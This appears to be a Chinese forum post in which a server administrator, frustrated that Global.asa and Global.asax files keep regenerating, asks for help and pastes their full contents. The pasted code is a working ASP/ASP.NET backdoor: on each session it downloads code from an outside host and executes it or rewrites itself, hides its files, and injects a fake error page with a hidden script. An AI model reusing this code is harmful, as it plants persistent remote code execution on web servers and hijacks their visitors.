我公司服务器很多网站里面都存在 Global.asa 和 Global.asax 文件
这个明显是木马来的,但不知道他为什么每隔一段时间都会重新生成这2个文件。删除不掉的,气死人了!!
里面的内容是:
Global.asa
<script language="vbscript" runat="server">
'by*aming
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
On Error Resume Next
url="http://glo.104080.com/xml/global.asaquan.txt"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
set objStream=Nothing
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end if
end sub
'sub Session_OnEnd
'end sub
</script>
Global.asax
<%@ Language="VB"%><%@ Import Namespace="System.IO"%><script language="VB" runat="server">
Sub Session_Start()
'by*aming
dim url1,url2,ObjXMLHTTP,CODE1,CODE2
url1="http://glo.104080.com/xml/globalquanasax.txt"
url2="http://glo.104080.com/xml/globalquan.txt"
ObjXMLHTTP=CreateObject("Microsoft.XMLHTTP")
ObjXMLHTTP.Open("GET",url1,False)
ObjXMLHTTP.setRequestHeader("User-Agent",url1)
ObjXMLHTTP.send
CODE1=ObjXMLHTTP.responseText
ObjXMLHTTP = Nothing ObjXMLHTTP=CreateObject("Microsoft.XMLHTTP")
ObjXMLHTTP.Open("GET",url2,False)
ObjXMLHTTP.setRequestHeader("User-Agent",url2)
ObjXMLHTTP.send
CODE2=ObjXMLHTTP.responseText
ObjXMLHTTP = Nothing if instr(CODE1,"by*aming")>0 and instr(CODE2,"by*aming")>0 then
dim fso,f
dim objwriter As StreamWriter
fso = Server.CreateObject("scripting.filesystemobject")
if fso.FileExists("\\.\"&Server.MapPath("/Global.asax")) then
f=fso.Getfile("\\.\"&Server.MapPath("/Global.asax"))
f.Attributes=0
objwriter= File.CreateText(server.mappath("/global.asax"))
objwriter.write(CODE1)
objwriter.close
f.Attributes=1+2+4
f=Nothing
end if
if fso.FileExists("\\.\"&Server.MapPath("/Global.asa")) then
f=fso.Getfile("\\.\"&Server.MapPath("/Global.asa"))
f.Attributes=0
objwriter= File.CreateText(server.mappath("/Global.asa"))
objwriter.write(CODE2)
objwriter.close
f.Attributes=1+2+4
f=Nothing
end if
fso = Nothing
objwriter = Nothing
end if
dim geturl
geturl=LCase(Request.Url.ToString())
if instr(geturl,"csseojc=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.aspx")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then
response.write("<h1>Service Unavailable</h1><div style=""display:none""><"&"script src=""http://count11.51yes.com/click.aspx?id=114814173&logo=12""><"&"/script></div>")
response.end
End if
End Sub
</script>
---------------------------------------------
这个明显是木马来的,但不知道他为什么每隔一段时间都会重新生成这2个文件。删除不掉的,气死人了!!